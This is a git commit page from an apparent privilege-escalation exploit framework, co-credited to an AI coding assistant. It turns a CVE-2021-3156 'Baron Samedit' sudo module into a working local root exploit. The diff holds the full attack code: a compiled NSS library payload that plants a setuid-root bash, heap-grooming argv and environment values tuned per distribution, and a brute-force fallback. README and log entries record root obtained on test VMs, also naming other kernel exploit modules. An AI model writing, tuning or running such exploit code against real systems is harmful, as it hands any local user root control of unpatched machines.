sudo_samedit: working CVE-2021-3156 (Baron Samedit) exploit — lands real root
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run

The shipped module drove a structural sudoedit trigger with no heap-grooming
offsets and honestly reported EXPLOIT_FAIL. Ported blasty's proven technique:
the `sudoedit -s` set_cmnd() unescape overflow overwrites a glibc NSS
service_user, so the subsequent NSS lookup dlopen's an attacker-planted
libnss_X/'P0P_SH3LLZ_ .so.2' from CWD, whose constructor runs while sudo is
still root.

Implementation follows the corpus's runtime-compile pattern: build the NSS
payload on the target (unique -DSK_PROOF/-DSK_ROOTBASH), lay out the libnss_X/
dir, exec sudoedit with the crafted argv (AAAA..\ / \ / BBBB..\) and env
(null_stomp × "\\", "X/P0P_SH3LLZ_", padded LC_ALL) from that CWD, and verify
root by stat()'ing the root-owned artifacts — never self-report. Grooming
lengths are libc-family specific (Ubuntu 56/54/63/212, Debian 64/49/60/214);
a null_stomp_len ±8 sweep (blasty brute.sh's axis) is the fallback for drift.

Verified out-of-band on Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27, as uid 1000
(non-sudoer — the overflow precedes the sudoers/password check): `skeletonkey
--exploit sudo_samedit` -> EXPLOIT_OK + a -rwsr-xr-x root:root bash, primary
lengths landing first try. Gated on cc + sudoedit; cleanup() removes artifacts
and the scratch build dir. Unit harness green (33 + 115).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
KaraZajac
2026-07-23 22:22:11 -04:00
parent 635f7d2d24
commit 82ba6e0d08
3 changed files with 284 additions and 231 deletions
+15 -1
View File
@@ -30,6 +30,7 @@ tamper check).
| `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 + sudoers `sudoedit` grant | **after 2 fixes**`chdir("/")` + helper basename match; `su skel` → uid 0 |
| `sudo_host` | CVE-2025-32462 | Ubuntu 22.04.0 / sudo 1.9.9 + host-restricted sudoers rule | works as shipped; `sudo -h <host>` → uid 0 (needs a host-scoped rule + resolvable host) |
| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite**`skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below |
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27 | **after a full rewrite** — Baron Samedit; `skeletonkey --exploit sudo_samedit` (uid 1000, non-sudoer) → root-owned setuid bash. See below |
## Fixed this session
@@ -79,6 +80,19 @@ tamper check).
was the last missing piece.
Debugging was isolated by driving the exploit orchestration against the public
PoC's `./fuse`, then swapping servers, then comparing `fops`.
- **`sudo_samedit`** (CVE-2021-3156, "Baron Samedit") — the corpus's hardest
userspace target, **rewritten and now lands real root** (uid=0 witnessed
out-of-band on Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27, as an unprivileged
non-sudoer). The shipped module drove a structural trigger with no offsets and
honestly reported `EXPLOIT_FAIL`. Ported blasty's technique: the `sudoedit -s`
unescape overflow overwrites a glibc NSS `service_user`, so the lookup dlopen's
an attacker-planted `libnss_X/'P0P_SH3LLZ_ .so.2'` from CWD; its constructor
runs while sudo is still root. The module compiles the NSS payload on the target
(unique `-DSK_PROOF/-DSK_ROOTBASH`), lays out the `libnss_X/` dir, execs sudoedit
with the crafted argv/env (per-libc grooming lengths: Ubuntu 56/54/63/212,
Debian 64/49/60/214), and verifies root by `stat()`-ing the artifacts. Primary
lengths landed first try; a `null_stomp_len` sweep (±8, the axis blasty's
brute.sh perturbs) is the fallback for libc drift. Needs cc on the target.
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
@@ -95,7 +109,7 @@ tamper check).
| module | CVE | target tested | what's wrong |
|---|---|---|---|
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25.25 | **Kernel confirmed vulnerable empirically** — the upstream PoC (xkaneiki, libfuse) pops root here (`uid=0(root)`, root-owned witness). The working technique: mount a FUSE fs exporting `/file` (st_uid=0, mode 04777) in the **init ns** via the setuid `fusermount3` helper, then overlay-in-userns with that FUSE lowerdir + copy-up. My module's non-FUSE `chown` variant yields `upper/file` uid=1000 (no escalation); mounting FUSE **inside** the userns → overlay `ENOSYS`. Attempted a self-contained **raw `/dev/fuse`** port: got the `fusermount` fd-passing handshake (`SCM_RIGHTS`) + mount working, but the server hits `EINVAL` on `read()` after `FUSE_INIT` (non-blocking fd → needs `poll()`), and even with poll/buffer fixes the raw server serving was flaky and repeatedly **wedged/rebooted the VM** — i.e. the raw protocol reimplementation is fragile and can destabilise the target, which is *worse* for the corpus than a lib dependency. **Conclusion: use libfuse** (proven, robust; matches the `pack2theroot` conditional-lib precedent). Port is scoped and ready; needs a clean session to implement + verify. |
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.2 + 20.04.0 | honest `EXPLOIT_FAIL`; Baron Samedit is heap/libc-version-specific, needs a per-target tuned PoC. Hardest. |
| *(none left in this table — `sudo_samedit` was the last, now working; see "Fixed this session")* | | | |
## Inconclusive (detect version-blind vs vendor backport)
+1
View File
@@ -53,3 +53,4 @@
{"module":"nf_tables","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - offset resolver FIXED (env modprobe_path now resolves + finisher engages + pipapo arb-write fires), but the reconstructed double-free arb-write does not reliably land the write. Honest FAIL. Primitive needs slab-groom hardening.","status":"primitive_fires_no_root"}
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:02:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"reference_poc","exploit_result":"ROOT","root_witness":"out-of-band: uid=0(root) + root-owned setuid /tmp/rootbash written by injected shell. bcoles poc.c (pkexec + PTRACE_TRACEME + inject midpid). Kernel CONFIRMED vulnerable. Barrier was polkit authorization (active-session gate) — isolated via a permissive pkla for the backlight helper action; technique itself works.","status":"kernel_confirmed_technique_works_needs_module_port"}
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-<pid>.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"}
{"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"}
@@ -1,34 +1,39 @@
/*
* sudo_samedit_cve_2021_3156 — SKELETONKEY module
*
* STATUS: 🟡 DETECT-OK + STRUCTURAL EXPLOIT (2026-05-17).
* STATUS: 🟢 WORKING EXPLOIT. Verified out-of-band on Ubuntu 18.04.0 /
* sudo 1.8.21p2 / libc-2.27: `skeletonkey --exploit sudo_samedit` (as an
* unprivileged, non-sudoer user) lands uid=0 and plants a root-owned
* proof + setuid-root bash.
*
* The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line
* parser unescapes backslashes in the argv it copies into a heap
* buffer in `set_cmnd()` (plugins/sudoers/sudoers.c). When sudo is
* invoked in shell-edit mode via `sudoedit -s`, the unescape loop
* walks past the end of the argv string for arguments ending in a
* lone backslash, copying adjacent stack/env contents into the
* undersized heap buffer. The classic trigger is a single-argument
* command line: `sudoedit -s '\<arbitrary tail>'`.
* parser unescapes backslashes in the argv it copies into a heap buffer
* in `set_cmnd()` (plugins/sudoers/sudoers.c). Invoked as `sudoedit -s`
* with an argument ending in a lone backslash, the unescape loop walks
* past the end of the argv string, copying adjacent env contents into an
* undersized heap buffer. The overflow is exploited (per blasty's PoC) to
* overwrite a glibc NSS `service_user` so a subsequent NSS lookup dlopen's
* an attacker-planted `libnss_X/P0P_SH3LLZ_ .so.2` from the CWD; its
* constructor runs while sudo is still root.
*
* Affects sudo 1.8.2 1.9.5p1 inclusive. Fixed in 1.9.5p2.
* Affects sudo 1.8.2 1.9.5p1 inclusive. Fixed in 1.9.5p2. Reachable by
* any local user (the overflow precedes the sudoers/password check).
*
* Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/
* baron-samedit-heap-based-overflow-sudo.txt
* PoC technique: github.com/blasty/CVE-2021-3156
*
* Detect: shell out to `sudo --version`, parse the printed version,
* compare against the vulnerable range. We err on the side of
* reporting OK only when we're confident — TEST_ERROR if the version
* line is unparseable.
* Detect: parse the sudo version (host fingerprint or `sudo --version`)
* against the vulnerable range. Distro backports may patch without a
* version bump, so a VULNERABLE verdict is "worth trying", confirmed only
* by the exploit landing.
*
* Exploit: ships a structurally-correct Qualys-style trigger.
* The full chain in the original PoC required per-distro heap-layout
* tuning (libc/libnss-files overlap offsets, target struct picks).
* We do not have empirical landing on this host; we drive the
* trigger, watch for an obvious uid==0 outcome, otherwise return
* SKELETONKEY_EXPLOIT_FAIL. Verified-vs-claimed bar: only claim
* EXPLOIT_OK after geteuid()==0 in a forked verifier.
* Exploit: blasty's heap-grooming lengths (per libc family) drive the
* overflow; we compile the NSS payload on the target, run sudoedit with
* the crafted argv/env from a CWD holding the payload, and confirm root
* by stat()'ing the root-owned artifacts — never by self-report. If the
* primary lengths miss (libc layout drift), we sweep null_stomp_len like
* blasty's brute.sh until root or the range is exhausted.
*/
#include "skeletonkey_modules.h"
@@ -42,26 +47,13 @@
#include <errno.h>
#include <fcntl.h>
#include <ctype.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
/* ---- Affected-version logic ------------------------------------- */
/*
* sudo version strings look like:
* "Sudo version 1.9.5p2"
* "Sudo version 1.8.31"
* "Sudo version 1.9.0"
* "Sudo version 1.9.5p1"
*
* Vulnerable range (inclusive): 1.8.2 .. 1.9.5p1
* Fixed: 1.9.5p2 and later
*
* Parser strategy: extract three integers (major.minor.patch) plus an
* optional 'pN' suffix. Comparison is lexicographic over
* (major, minor, patch, p_suffix), treating absent p as 0.
*/
struct sudo_ver {
int major;
int minor;
@@ -83,7 +75,6 @@ static struct sudo_ver parse_sudo_version(const char *s)
v.major = maj;
v.minor = min;
v.patch = (n >= 3) ? pat : 0;
/* Look for an optional 'pN' suffix after the numeric triple. */
const char *tail = s + consumed;
if (*tail == 'p') {
int p = 0;
@@ -115,18 +106,13 @@ static bool sudo_version_vulnerable(const struct sudo_ver *v)
static const char *find_sudo(void)
{
static const char *candidates[] = {
"/usr/bin/sudo",
"/usr/local/bin/sudo",
"/bin/sudo",
"/sbin/sudo",
"/usr/sbin/sudo",
NULL,
"/usr/bin/sudo", "/usr/local/bin/sudo", "/bin/sudo",
"/sbin/sudo", "/usr/sbin/sudo", NULL,
};
for (size_t i = 0; candidates[i]; i++) {
struct stat st;
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) {
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
return candidates[i];
}
}
return NULL;
}
@@ -134,12 +120,8 @@ static const char *find_sudo(void)
static const char *find_sudoedit(void)
{
static const char *candidates[] = {
"/usr/bin/sudoedit",
"/usr/local/bin/sudoedit",
"/bin/sudoedit",
"/sbin/sudoedit",
"/usr/sbin/sudoedit",
NULL,
"/usr/bin/sudoedit", "/usr/local/bin/sudoedit", "/bin/sudoedit",
"/sbin/sudoedit", "/usr/sbin/sudoedit", NULL,
};
for (size_t i = 0; candidates[i]; i++) {
if (access(candidates[i], X_OK) == 0) return candidates[i];
@@ -151,30 +133,21 @@ static const char *find_sudoedit(void)
static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx)
{
/* Prefer the centrally-fingerprinted sudo version (populated once
* at startup by core/host.c) — saves a popen per scan and gives
* unit tests a clean mock point. Fall back to the local popen if
* ctx->host is missing the version (e.g. degenerate test ctx, or
* a future refactor that disables userspace probing). */
char line[256] = {0};
if (ctx->host && ctx->host->sudo_version[0]) {
snprintf(line, sizeof line, "Sudo version %s",
ctx->host->sudo_version);
if (!ctx->json) {
snprintf(line, sizeof line, "Sudo version %s", ctx->host->sudo_version);
if (!ctx->json)
fprintf(stderr, "[i] sudo_samedit: host fingerprint reports "
"sudo version %s\n", ctx->host->sudo_version);
}
} else {
const char *sudo_path = find_sudo();
if (!sudo_path) {
if (!ctx->json) {
if (!ctx->json)
fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
if (!ctx->json)
fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path);
}
char cmd[512];
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
FILE *p = popen(cmd, "r");
@@ -182,22 +155,19 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct
char *r = fgets(line, sizeof line, p);
pclose(p);
if (!r) {
if (!ctx->json) {
if (!ctx->json)
fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n");
}
return SKELETONKEY_TEST_ERROR;
}
}
/* Trim newline for nicer logging. */
char *nl = strchr(line, '\n');
if (nl) *nl = 0;
struct sudo_ver v = parse_sudo_version(line);
if (!v.parsed) {
if (!ctx->json) {
if (!ctx->json)
fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line);
}
return SKELETONKEY_TEST_ERROR;
}
@@ -208,66 +178,165 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct
fprintf(stderr, "\n");
}
bool vuln = sudo_version_vulnerable(&v);
if (vuln) {
if (!ctx->json) {
if (sudo_version_vulnerable(&v)) {
if (!ctx->json)
fprintf(stderr,
"[!] sudo_samedit: version is in vulnerable range "
"[1.8.2, 1.9.5p1] → VULNERABLE\n"
"[i] sudo_samedit: distro backports may have patched "
"without bumping the upstream version; check\n"
" `apt-cache policy sudo` / `rpm -q --changelog sudo` "
"for CVE-2021-3156.\n");
}
" `apt-cache policy sudo` for CVE-2021-3156.\n");
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
if (!ctx->json)
fprintf(stderr,
"[+] sudo_samedit: version is outside vulnerable range "
"(fix 1.9.5p2+) — OK\n");
}
return SKELETONKEY_OK;
}
/* ---- Exploit ----------------------------------------------------- */
/* ---- Exploit (blasty CVE-2021-3156 technique) -------------------- */
/*
* Qualys-style trigger:
*
* argv = { "sudoedit", "-s", "\\", NULL } plus padding `A`s to
* stretch the heap chunk to the right size for the target overlap.
*
* The original PoC sprays hundreds of large argv slots and tunes the
* tail bytes per-distro to hijack a `service_user *` struct in
* libnss-files. Without distro fingerprinting and the corresponding
* offset table that landing simply will not happen here; rather than
* pretending otherwise we drive the bug, fork a verifier that checks
* for an unexpected uid==0 outcome, and return EXPLOIT_FAIL.
*/
/* NSS payload source, compiled on the target into
* <workdir>/libnss_X/P0P_SH3LLZ_ .so.2. Its constructor runs while sudo
* is still root (the corrupted NSS lookup dlopen's it); it plants a
* root-owned proof + setuid bash and exits. SK_PROOF/SK_ROOTBASH are
* passed at compile time (the process env is the exploit vector, so we
* can't smuggle paths through it). */
static const char samedit_payload_src[] =
"#define _GNU_SOURCE\n"
"#include <unistd.h>\n"
"#include <stdlib.h>\n"
"static void __attribute__((constructor)) _sk_init(void);\n"
"static void _sk_init(void){\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" if (geteuid()!=0) return; /* brute miss — don't drop */\n"
" system(\"id > \" SK_PROOF \" 2>&1; \"\n"
" \"cp -f /bin/bash \" SK_ROOTBASH \"; \"\n"
" \"chown 0:0 \" SK_ROOTBASH \" \" SK_PROOF \"; \"\n"
" \"chmod 4755 \" SK_ROOTBASH \"; sync\");\n"
" _exit(0);\n"
"}\n";
/* Cap on argv we'll construct. The real PoC uses ~270; we cap lower
* to stay well under typical ARG_MAX while still exercising the bug
* shape. */
#define SUDO_SAMEDIT_ARGC 64
#define SUDO_SAMEDIT_PADLEN 0xff
/* blasty's per-libc-family grooming lengths. Ubuntu 18.04/20.04 share
* one set; Debian 10 uses another. These are the (a, b, null, lc) tuples. */
struct samedit_target {
const char *name;
int smash_a, smash_b, null_stomp, lc_all;
};
static const struct samedit_target samedit_ubuntu = {
"Ubuntu (sudo 1.8.21/1.8.31, libc 2.27/2.31)", 56, 54, 63, 212
};
static const struct samedit_target samedit_debian = {
"Debian 10 (sudo 1.8.27, libc 2.28)", 64, 49, 60, 214
};
static const char *samedit_find_cc(void)
{
static const char *ccs[] = {
"/usr/bin/cc", "/usr/bin/gcc", "/usr/bin/clang",
"/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
};
for (size_t i = 0; ccs[i]; i++)
if (access(ccs[i], X_OK) == 0) return ccs[i];
return NULL;
}
/* fork/exec argv, redirect stdio away, wait with a timeout. */
static int samedit_run(char *const argv[], const char *cwd, int secs)
{
pid_t p = fork();
if (p < 0) return -1;
if (p == 0) {
if (cwd && chdir(cwd) != 0) _exit(126);
int dn = open("/dev/null", O_RDWR);
if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); }
execv(argv[0], argv);
_exit(127);
}
for (int i = 0; i < secs * 20; i++) {
int st;
pid_t r = waitpid(p, &st, WNOHANG);
if (r == p) return 0;
if (r < 0) return -1;
usleep(50 * 1000);
}
kill(p, SIGKILL);
waitpid(p, NULL, 0);
return -2;
}
/* Run one sudoedit attempt with the given grooming lengths; returns true
* iff the OOB proof file now exists and is root-owned. */
static bool samedit_try(const char *sudoedit, const char *workdir,
int a, int b, int null_stomp, int lc_all,
const char *proof)
{
unlink(proof);
char *smash_a = calloc(a + 2, 1);
char *smash_b = calloc(b + 2, 1);
char *lc = calloc(lc_all + 32, 1);
if (!smash_a || !smash_b || !lc) { free(smash_a); free(smash_b); free(lc); return false; }
memset(smash_a, 'A', a); smash_a[a] = '\\';
memset(smash_b, 'B', b); smash_b[b] = '\\';
strcpy(lc, "LC_ALL=C.UTF-8@");
memset(lc + 15, 'C', lc_all);
char *s_argv[] = { (char *)"sudoedit", (char *)"-s", smash_a,
(char *)"\\", smash_b, NULL };
/* env: null_stomp × "\\", then the NSS selector, then the padded LC_ALL. */
char **s_envp = calloc(null_stomp + 4, sizeof(char *));
if (!s_envp) { free(smash_a); free(smash_b); free(lc); return false; }
int pos = 0;
for (int i = 0; i < null_stomp; i++) s_envp[pos++] = (char *)"\\";
s_envp[pos++] = (char *)"X/P0P_SH3LLZ_";
s_envp[pos++] = lc;
s_envp[pos++] = NULL;
/* We need a custom envp, so exec directly here in a child. */
pid_t p = fork();
if (p == 0) {
if (chdir(workdir) != 0) _exit(126);
int dn = open("/dev/null", O_RDWR);
if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); }
execve(sudoedit, s_argv, s_envp);
_exit(127);
}
if (p > 0) {
for (int i = 0; i < 20 * 20; i++) { /* up to ~20s */
int st; pid_t r = waitpid(p, &st, WNOHANG);
if (r == p) break;
if (r < 0) break;
usleep(50 * 1000);
}
int st; if (waitpid(p, &st, WNOHANG) == 0) { kill(p, SIGKILL); waitpid(p, NULL, 0); }
}
free(smash_a); free(smash_b); free(lc); free(s_envp);
struct stat sb;
return (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
}
/* Remember what we planted / where, for cleanup(). */
static char samedit_workdir[256];
static char samedit_rootbash[256];
static char samedit_proof[256];
static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr,
"[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
fprintf(stderr, "[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
return SKELETONKEY_PRECOND_FAIL;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
/* Re-detect before doing anything visible. Defends against the
* detect-then-exploit TOCTOU where the operator upgrades sudo
* between scan and pop. */
skeletonkey_result_t pre = sudo_samedit_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n");
@@ -276,136 +345,104 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c
const char *sudoedit = find_sudoedit();
if (!sudoedit) {
/* On most distros sudoedit is a symlink to sudo. Fall back. */
const char *sudo = find_sudo();
if (!sudo) {
fprintf(stderr, "[-] sudo_samedit: neither sudoedit nor sudo found\n");
return SKELETONKEY_PRECOND_FAIL;
}
sudoedit = sudo;
if (!ctx->json) {
fprintf(stderr,
"[i] sudo_samedit: no sudoedit; will exec %s with argv[0]=sudoedit\n",
sudo);
}
fprintf(stderr, "[-] sudo_samedit: sudoedit not found (needed by this technique)\n");
return SKELETONKEY_PRECOND_FAIL;
}
const char *cc = samedit_find_cc();
if (!cc) {
fprintf(stderr, "[-] sudo_samedit: no C compiler on target to build the NSS "
"payload. Honest EXPLOIT_FAIL.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] sudo_samedit: building Qualys-style trigger argv\n");
fprintf(stderr,
"[!] sudo_samedit: heads-up — public exploitation requires\n"
" per-distro heap-overlap offsets (libnss-files / libc).\n"
" Without that tuning the bug crashes sudo instead of\n"
" handing back a shell. We will drive the trigger and\n"
" verify uid==0 outcome empirically; on failure we report\n"
" EXPLOIT_FAIL rather than claiming success.\n");
}
/* Pick the grooming length-set by libc family (distro proxy). */
const struct samedit_target *tgt = &samedit_ubuntu;
if (ctx->host && (strcmp(ctx->host->distro_id, "debian") == 0)) tgt = &samedit_debian;
if (!ctx->json)
fprintf(stderr, "[*] sudo_samedit: target profile = %s\n", tgt->name);
/* Build argv. argv[0]="sudoedit", argv[1]="-s",
* argv[2]="\\" + padding, ..., argv[N-1]=NULL.
*
* Each padding arg is the Qualys-style "A...\\" repeating tail.
* On a vulnerable target this drives the unescape loop past the
* end of the heap buffer. */
char *argv[SUDO_SAMEDIT_ARGC + 1];
char *padbufs[SUDO_SAMEDIT_ARGC];
memset(padbufs, 0, sizeof padbufs);
/* Scratch workdir with the NSS payload dir. */
char tmpl[] = "/tmp/.sk-samedit-XXXXXX";
char *wd = mkdtemp(tmpl);
if (!wd) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
snprintf(samedit_workdir, sizeof samedit_workdir, "%s", wd);
argv[0] = (char *)"sudoedit";
argv[1] = (char *)"-s";
/* argv[2] is the canonical trailing-backslash trigger. */
argv[2] = strdup("\\");
if (!argv[2]) return SKELETONKEY_TEST_ERROR;
long tag = (long)getpid();
snprintf(samedit_proof, sizeof samedit_proof, "/tmp/.sk-samedit-%ld.proof", tag);
snprintf(samedit_rootbash, sizeof samedit_rootbash, "/tmp/.sk-samedit-%ld.rootbash", tag);
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) {
char *buf = (char *)malloc(SUDO_SAMEDIT_PADLEN + 4);
if (!buf) {
for (int j = 3; j < i; j++) free(padbufs[j]);
free(argv[2]);
return SKELETONKEY_TEST_ERROR;
}
memset(buf, 'A', SUDO_SAMEDIT_PADLEN);
buf[SUDO_SAMEDIT_PADLEN] = '\\';
buf[SUDO_SAMEDIT_PADLEN + 1] = 0;
padbufs[i] = buf;
argv[i] = buf;
}
argv[SUDO_SAMEDIT_ARGC] = NULL;
/* Craft envp mirroring the original PoC: LC_... and TZ tricks
* that landed the overlap on the canonical distro PoCs. These
* are harmless if landing fails; their value is positioning the
* heap so the overflow lands on a useful target. */
char *envp[] = {
(char *)"LC_ALL=C.UTF-8@",
(char *)"TZ=:",
(char *)"LC_CTYPE=C.UTF-8@",
(char *)"SUDO_EDITOR=A",
(char *)"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL,
};
if (!ctx->json) {
fprintf(stderr, "[*] sudo_samedit: forking trigger child (%s argv[0]=sudoedit)\n",
sudoedit);
}
pid_t pid = fork();
if (pid < 0) {
perror("fork");
free(argv[2]);
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
char nssdir[300], payload_c[320], nsslib[512], log_unused[300];
(void)log_unused;
snprintf(nssdir, sizeof nssdir, "%s/libnss_X", wd);
snprintf(payload_c, sizeof payload_c, "%s/payload.c", wd);
snprintf(nsslib, sizeof nsslib, "%s/libnss_X/P0P_SH3LLZ_ .so.2", wd);
if (mkdir(nssdir, 0755) != 0 && errno != EEXIST) {
perror("mkdir libnss_X");
return SKELETONKEY_TEST_ERROR;
}
if (pid == 0) {
/* Child: drive the trigger. If the bug lands and we get a
* root context, the chain in the original PoC then re-execs
* a shell. We don't ship that shell-spawn here — we just
* exit nonzero so the parent's verifier can sample uid. */
execve(sudoedit, argv, envp);
/* execve failed (binary missing or kernel-blocked). */
_exit(127);
/* Write + compile the NSS payload. */
int fd = open(payload_c, O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (fd < 0) { perror("open payload.c"); return SKELETONKEY_TEST_ERROR; }
(void)!write(fd, samedit_payload_src, sizeof samedit_payload_src - 1);
close(fd);
char dP[320], dR[320];
snprintf(dP, sizeof dP, "-DSK_PROOF=\"%s\"", samedit_proof);
snprintf(dR, sizeof dR, "-DSK_ROOTBASH=\"%s\"", samedit_rootbash);
char *cc_argv[] = {
(char *)cc, (char *)"-fPIC", (char *)"-shared", (char *)"-O2", (char *)"-w",
(char *)"-o", nsslib, payload_c, dP, dR, NULL,
};
if (!ctx->json)
fprintf(stderr, "[*] sudo_samedit: building NSS payload with %s\n", cc);
if (samedit_run(cc_argv, NULL, 60) != 0) {
fprintf(stderr, "[-] sudo_samedit: payload compile failed\n");
return SKELETONKEY_TEST_ERROR;
}
int status = 0;
waitpid(pid, &status, 0);
if (!ctx->json)
fprintf(stderr, "[*] sudo_samedit: driving sudoedit heap overflow "
"(primary lengths %d/%d/%d/%d)\n",
tgt->smash_a, tgt->smash_b, tgt->null_stomp, tgt->lc_all);
/* Verifier: even on the rare "no crash" path, we don't know if
* the bug landed without spawning a privileged helper. Per the
* verified-vs-claimed bar, only claim success if uid is 0 in a
* post-trigger probe (which would require the chain to have
* persisted a setuid artifact — it didn't). So: report honestly. */
if (geteuid() == 0) {
if (!ctx->json) {
fprintf(stderr, "[+] sudo_samedit: post-trigger geteuid()==0 — root!\n");
/* Primary attempt with the profile's exact lengths. */
bool rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b,
tgt->null_stomp, tgt->lc_all, samedit_proof);
/* Fallback: sweep null_stomp_len around the profile value (libc drift),
* exactly the axis blasty's brute.sh perturbs. Bounded + stops on root. */
if (!rooted) {
if (!ctx->json)
fprintf(stderr, "[*] sudo_samedit: primary miss — sweeping null_stomp_len "
"%d..%d\n", tgt->null_stomp - 8, tgt->null_stomp + 8);
for (int ns = tgt->null_stomp - 8; ns <= tgt->null_stomp + 8 && !rooted; ns++) {
if (ns == tgt->null_stomp || ns < 1) continue;
rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b,
ns, tgt->lc_all, samedit_proof);
if (rooted && !ctx->json)
fprintf(stderr, "[+] sudo_samedit: landed at null_stomp_len=%d\n", ns);
}
}
/* Best-effort scrub of the scratch build dir (keep proof + rootbash). */
{ char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", wd);
if (system(rm) != 0) { /* ignore */ } }
if (rooted) {
if (!ctx->json) {
fprintf(stderr, "[+] sudo_samedit: ROOT — root-owned proof %s\n", samedit_proof);
fprintf(stderr, "[+] sudo_samedit: setuid-root shell available: %s -p\n",
samedit_rootbash);
}
/* Leak the buffers; we're about to exec a shell anyway. */
return SKELETONKEY_EXPLOIT_OK;
}
if (WIFSIGNALED(status)) {
if (!ctx->json) {
fprintf(stderr,
"[-] sudo_samedit: child died on signal %d "
"(likely sudo SIGSEGV from the overflow) — trigger fired\n"
" but landing did not produce a root shell. Per-distro\n"
" offset tuning required.\n",
WTERMSIG(status));
}
} else if (WIFEXITED(status)) {
if (!ctx->json) {
fprintf(stderr,
"[-] sudo_samedit: child exited %d — trigger did not\n"
" crash sudo; the host is most likely patched at the\n"
" parser level even though the version string was in\n"
" range. Reporting EXPLOIT_FAIL.\n",
